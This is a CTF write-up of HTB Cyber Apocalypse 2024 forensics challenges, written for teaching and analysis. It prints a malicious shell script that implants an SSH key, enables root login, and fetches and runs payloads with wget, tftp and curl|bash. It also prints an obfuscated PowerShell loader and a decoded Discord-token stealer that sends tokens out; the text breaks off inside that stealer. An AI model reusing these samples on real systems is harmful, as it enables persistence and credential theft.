HTB Cyber Apocalypse CTF 2024 Hacker Royale - Writeups
This is a writeup for forensics and hardware challenges from HTB Cyber Apocalypse CTF 2024 Hacker Royale. Despite not clearing the insane difficulty challenge, I was still happy that I managed to solve almost all of the forensics challenges. Huge shoutout to my teammate @ayam for being helpful in giving nudges for the hard difficulty challenges since he cleared them already, I wish we can meet in the next M53 gathering.
Credits to @desutruction for this hilarious meme
Scenario
“We used to be peaceful and had enough tech to keep us all happy. What do you think about that?
These data disks alluded to some “societal golden age.” No fighting, no backstabbing, and no factions fighting for some lousy title.
Good, great for them-
Because all we get to look forward to is “The Fray.”
alarms blaring
Oh, look-… it’s showtime.”
(Quote: Luxx, faction leader of the Phreaks)
💥 Welcome to “The Fray.” A societal gauntlet made of the most cunning, dedicated, and bloodthirsty factions. We are all bound by the same rule–be one of the last factions standing. All brought to your overlords and sponsors at KORP™.
Our city’s lights bring people from far and wide. It’s one of the last remaining mega structures left after the Great Division took place. But, as far as we are concerned, KORP™ is all there ever was and will be.
They hold The Fray every four years to find the “best and the brightest around.” Those who make it through their technological concoction of challenges become the “Legionaries,” funded factions who get to sit on easy-street for the time between the next fight.
It Has Begun [Forensics]
Question: The Fray is upon us, and the very first challenge has been released! Are you ready factions!? Considering this is just the beginning, if you cannot musted the teamwork needed this early, then your doom is likely inevitable.
Flag: HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}
We are given a shell script, the flag is broken up into two parts within the script.
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#!/bin/sh
if [ "$HOSTNAME" != "KORP-STATION-013" ]; then
exit
fi
if [ "$EUID" -ne 0 ]; then
exit
fi
docker kill $(docker ps -q)
docker rm $(docker ps -a -q)
echo "ssh-rsa AAAAB4NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D7s4J0L7XV2kep0rNzgY1S1IdE8HDAf7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B user@tS_u0y_ll1w{BTH" >> /root/.ssh/authorized_keys
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "128.90.59.19 legions.korp.htb" >> /etc/hosts
for filename in /proc/*; do
ex=$(ls -latrh $filename 2> /dev/null|grep exe)
if echo $ex |grep -q "/var/lib/postgresql/data/postgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
result=$(echo "$filename" | sed "s/\/proc\///")
kill -9 $result
echo found $filename $result
fi
done
ARCH=$(uname -m)
array=("x86" "x86_64" "mips" "aarch64" "arm")
if [[ $(echo ${array[@]} | grep -o "$ARCH" | wc -w) -eq 0 ]]; then
exit
fi
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d || cd /; wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777 0xda4.0xda4.$ARCH; ./0xda4.0xda4.$ARCH;
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d || cd /; tftp legions.korp.htb -c get 0xda4.0xda4.$ARCH; cat 0xda4.0xda4.$ARCH > DVRHelper; chmod +x *; ./DVRHelper $ARCH;
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d || cd /; busybox wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777;./0xda4.0xda4.$ARCH;
echo "*/5 * * * * root curl -s http://legions.korp.htb/0xda4.0xda4.$ARCH | bash -c 'NG5kX3kwdVJfR3IwdU5kISF9' " >> /etc/crontab
The first part: user@tS_u0y_ll1w{BTH
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└─$ echo tS_u0y_ll1w{BTH | rev
HTB{w1ll_y0u_St
The second part: bash -c 'NG5kX3kwdVJfR3IwdU5kISF9'
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└─$ echo NG5kX3kwdVJfR3IwdU5kISF9 | base64 --decode
4nd_y0uR_Gr0uNd!!}
An unusual sighting [Forensics]
Question: As the preparations come to an end, and The Fray draws near each day, our newly established team has started work on refactoring the new CMS application for the competition. However, after some time we noticed that a lot of our work mysteriously has been disappearing! We managed to extract the SSH Logs and the Bash History from our dev server in question. The faction that manages to uncover the perpetrator will have a massive bonus come competition!
Flag: HTB{B3sT_0f_luck_1n_th3_Fr4y!!}
We are given two log files to investigate, the SSH logs and the Bash History. Using them, we can figure out what the attacker has done to access the server.
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└─$ nc 94.237.52.91 54396
+---------------------+---------------------------------------------------------------------------------------------------------------------+
| Title | Description |
+---------------------+---------------------------------------------------------------------------------------------------------------------+
| An unusual sighting | As the preparations come to an end, and The Fray draws near each day, |
| | our newly established team has started work on refactoring the new CMS application for the competition. |
| | However, after some time we noticed that a lot of our work mysteriously has been disappearing! |
| | We managed to extract the SSH Logs and the Bash History from our dev server in question. |
| | The faction that manages to uncover the perpetrator will have a massive bonus come the competition! |
| | |
| | Note: Operating Hours of Korp: 0900 - 1900 |
+---------------------+---------------------------------------------------------------------------------------------------------------------+
Note 2: All timestamps are in the format they appear in the logs
What is the IP Address and Port of the SSH Server (IP:PORT)
> 100.107.36.130:2221
[+] Correct!
What time is the first successful Login
> 2024-02-13 11:29:50
[+] Correct!
What is the time of the unusual Login
> 2024-02-19 04:00:14
[+] Correct!
What is the Fingerprint of the attacker's public key
> OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4
[+] Correct!
What is the first command the attacker executed after logging in
> whoami
[+] Correct!
What is the final command the attacker executed before logging out
> ./setup
[+] Correct!
[+] Here is the flag: HTB{B3sT_0f_luck_1n_th3_Fr4y!!}
- What is the IP Address and Port of the SSH Server (IP:PORT)
- What time is the first successful Login
- What is the time of the unusual Login
- What is the Fingerprint of the attacker’s public key’
- What is the first command the attacker executed after logging in
- What is the final command the attacker executed before logging out
Urgent [Forensics]
Question: In the midst of Cybercity’s “Fray,” a phishing attack targets its factions, sparking chaos. As they decode the email, cyber sleuths race to trace its source, under a tight deadline. Their mission: unmask the attacker and restore order to the city. In the neon-lit streets, the battle for cyber justice unfolds, determining the factions’ destiny.
Flag: HTB{4n0th3r_d4y_4n0th3r_ph1shi1ng_4tt3mpT}
We are given a phishing email that contains two encoded messages within it. The flag can be found in the second encoded message.
Pursue The Tracks [Forensics]
Question: Luxx, leader of The Phreaks, immerses himself in the depths of his computer, tirelessly pursuing the secrets of a file he obtained accessing an opposing faction member workstation. With unwavering determination, he scours through data, putting together fragments of information trying to take some advantage on other factions. To get the flag, you need to answer the questions from the docker instance.
Flag: HTB{p4rs1ng_mft_1s_v3ry_1mp0rt4nt_s0m3t1m3s}
We are given a raw MFT file, so we must parse it first using MFTEcmd and analyze the parsed data.
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└─$ nc 94.237.54.161 46799
+-------------------+---------------------------------------------------------------------------------------------------------------------------------------------------+
| Title | Description |
+-------------------+---------------------------------------------------------------------------------------------------------------------------------------------------+
| Pursue The Tracks | Luxx, leader of The Phreaks, immerses himself in the depths of his computer, |
| | tirelessly pursuing the secrets of a file he obtained accessing an opposing faction member workstation. |
| | With unwavering determination, he scours through data, putting together fragments of information trying to take some advantage on other factions. |
| | To get the flag, you need to answer the questions from the docker instance. |
+-------------------+---------------------------------------------------------------------------------------------------------------------------------------------------+
Files are related to two years, which are those? (for example: 1993,1995)
> 2023,2024
[+] Correct!
There are some documents, which is the name of the first file written? (for example: randomname.pdf)
> Final_Annual_Report.xlsx
[+] Correct!
Which file was deleted? (for example: randomname.pdf)
> Marketing_Plan.xlsx
[+] Correct!
How many of them have been set in Hidden mode? (for example: 43)
> 1
[+] Correct!
Which is the filename of the important TXT file that was created? (for example: randomname.txt)
> credentials.txt
[+] Correct!
A file was also copied, which is the new filename? (for example: randomname.pdf)
> Financial_Statement_draft.xlsx
[+] Correct!
Which file was modified after creation? (for example: randomname.pdf)
> Project_Proposal.pdf
[+] Correct!
What is the name of the file located at record number 45? (for example: randomname.pdf)
> Annual_Report.xlsx
[+] Correct!
What is the size of the file located at record number 40? (for example: 1337)
> 57344
[+] Correct!
[+] Here is the flag: HTB{p4rs1ng_mft_1s_v3ry_1mp0rt4nt_s0m3t1m3s}
- Files are related to two years, which are those? (for example: 1993,1995)
- There are some documents, which is the name of the first file written? (for example: randomname.pdf)
- Which file was deleted? (for example: randomname.pdf)
- How many of them have been set in Hidden mode? (for example: 43)
- Which is the filename of the important TXT file that was created? (for example: randomname.txt)
- A file was also copied, which is the new filename? (for example: randomname.pdf)
- Which file was modified after creation? (for example: randomname.pdf)
- What is the name of the file located at record number 45? (for example: randomname.pdf)
- What is the size of the file located at record number 40? (for example: 1337)
Fake Boost [Forensics]
Question: In the shadow of The Fray, a new test called ““Fake Boost”” whispers promises of free Discord Nitro perks. It’s a trap, set in a world where nothing comes without a cost. As factions clash and alliances shift, the truth behind Fake Boost could be the key to survival or downfall. Will your faction see through the deception? KORP™ challenges you to discern reality from illusion in this cunning trial.
Flag: HTB{fr33_N17r0G3n_3xp053d!_b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}
We are given a pcap file filled with UDP, TCP and HTTP packets. Viewing the HTTP packets, it seems that there were several files being sent. So I went ahead and exported the files to analyze them further.
Analyzing the freediscordnitro file, the powershell code shows the $jozeq3n variable reversing itself and was encoded with base64 after that.
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$jozeq3n = "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gACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0AIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgAiCN8yX8BCIg8yXf91XfxFIv81XfxFIv81Xf91XcBCIv81XfxFIgw3X891Xcx3Xv8FXgw3XcBCffxyXfxFIgw3X89yXf9FXf91Xc9yXf9FffxHIv81XfxHI891XfxFff91XcBCI89Ffgw3XcpQD8BCIf91Xc91XvAyLu8CIv8Ffgw1Xf91Lg8iLgwHIp8FKgwHI8BCffxHI8BCfgACX8BCfgwHI89FKgwHI8BCfgkyXoACffhCIcByXfxFI89CIvwHI8ByLf9FIg8yXfBCI8BCfgwHI8BCfK0Afgw3XvAyLg8CIvACI8BCfvACI8BCIvAyLgACIgwFIfByLf91Jgw3XfBCfgwHIgBiLgwHI8BCYfByLf91JgwHXg8FIv81Xg8Cff9FIvACfgwHI8BCfgwFIfByLcByXg8yXfdCI89FIgwnCNwHI89CIvcyLg8CInAGfgcyL8BCfn8CIvAyJgBCIg81XfByXfByXg8Ffgw3X8BCfcBCI8BCfgw3XfByXfByXgAyXf9FIf91XgAyXf9FIfxHI8BCfgwHIg81XfBCIf91Xg81Xg8FIfxHI8pQD8BCIg8CIcBCIf9FIvwHIg8FIgwHXgAyXfByLgACIgACIgACIgACIgwHIp8FKgwHIcBCfgwHI8BCIgACIgACIgACIgACIgACIgACIgkyXoACIfBCI8BCIgACIgACIgACIgACff91XgACfK0AIf91XgACIf91Xf9FIg81Xf91XgAyXf91XfBCIgACIgACIgACIgACIg8FIfByXgACIfBCIg8FIgACIgACIgACIgACIgACIgACIgACIg8FIf91Xf91XgACIgACIgACIgACIgAyXf91Xf9lCNICI0N3bI1SZ0lmcXpQDK0QfK0QKhRXYExGb1ZGJocmbpJHdTRjNlNXYC9GV6oTX0JXZ252bD5SblR3c5N1W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" ;
$s0yAY2gmHVNFd7QZ = $jozeq3n.ToCharArray() ; [array]::Reverse($s0yAY2gmHVNFd7QZ) ; -join $s0yAY2gmHVNFd7QZ 2>&1> $null ;
$LOaDcODEoPX3ZoUgP2T6cvl3KEK = [sYSTeM.TeXt.ENcODING]::UTf8.geTSTRiNG([SYSTEm.cOnVeRT]::FRoMBaSe64sTRing("$s0yAY2gmHVNFd7QZ")) ;
$U9COA51JG8eTcHhs0YFxrQ3j = "Inv"+"OKe"+"-EX"+"pRe"+"SSI"+"On" ; New-alIaS -Name pWn -VaLuE $U9COA51JG8eTcHhs0YFxrQ3j -FoRcE ; pWn $lOADcODEoPX3ZoUgP2T6cvl3KEK ;
Decoding it, we get a malware related to the free Discord nitro scam. In this case, the first part of the flag can be found in the code.
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$URL = "http://192.168.116.135:8080/rj1893rj1joijdkajwda"
function Steal {
param (
[string]$path
)
$tokens = @()
try {
Get-ChildItem -Path $path -File -Recurse -Force | ForEach-Object {
try {
$fileContent = Get-Content -Path $_.FullName -Raw -ErrorAction Stop
foreach ($regex in @('[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}', 'mfa\.[\w-]{80,95}')) {
$tokens += $fileContent | Select-String -Pattern $regex -AllMatches | ForEach-Object {
$_.Matches.Value
}
}
} catch {}
}
} catch {}
return $tokens
}
function GenerateDiscordNitroCodes {
param (
[int]$numberOfCodes = 10,
[int]$codeLength = 16
)
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
$codes = @()
for ($i = 0; $i -lt $numberOfCodes; $i++) {
$code = -join (1..$codeLength | ForEach-Object { Get-Random -InputObject $chars.ToCharArray() })
$codes += $code
}
return $codes
}
function Get-DiscordUserInfo {
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true)]
[string]$Token
)
process {
try {
$Headers = @{
"Authorization" = $Token
"Content-Type" = "application/json"
"User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36"
}
$Uri = "https://discord.com/api/v9/users/@me"
$Response = Invoke-RestMethod -Uri $Uri -Method Get -Headers $Headers
return $Response
}
catch {}
}
}
function Create-AesManagedObject($key, $IV, $mode) {
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
if ($mode="CBC") { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
elseif ($mode="CFB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
elseif ($mode="CTS") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
elseif ($mode="ECB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
elseif ($mode="OFB"){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}
else {
$aesManaged.IV = $IV
}
}
if ($key) {
if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}
else {
$aesManaged.Key = $key
}
}
$aesManaged
}
function Encrypt-String($key, $plaintext) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
[System.Convert]::ToBase64String($fullData)
}
Write-Host "
______ ______ _ _ _ _ _ _ _____ _____ _____ ___
| ___| | _ (_) | | | \ | (_) | / __ \| _ |/ __ \ / |
| |_ _ __ ___ ___ | | | |_ ___ ___ ___ _ __ __| | | \| |_| |_ _ __ ___ `' / /'| |/' |`' / /'/ /| |
| _| '__/ _ \/ _ \ | | | | / __|/ __/ _ \| '__/ _` | | . ` | | __| '__/ _ \ / / | /| | / / / /_| |
| | | | | __/ __/ | |/ /| \__ \ (_| (_) | | | (_| | | |\ | | |_| | | (_) | ./ /___\ |_/ /./ /__\___ |
\_| |_| \___|\___| |___/ |_|___/\___\___/|_| \__,_| \_| \_/_|\__|_| \___/ \_____/ \___/ \_____/ |_/
"
Write-Host "Generating Discord nitro keys! Please be patient..."
$local = $env:LOCALAPPDATA
$roaming = $env:APPDATA
$part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"
$paths = @{
'Google Chrome' = "$local\Google\Chrome\User Data\Default"
'Brave' = "$local\BraveSoftware\Brave-Browser\User Data\Default\"
'Opera' = "$roaming\Opera Software\Opera Stable"
'Firefox' = "$roaming\Mozilla\Firefox\Profiles"
}
$headers = @{
'Content-Type' = 'application/json'
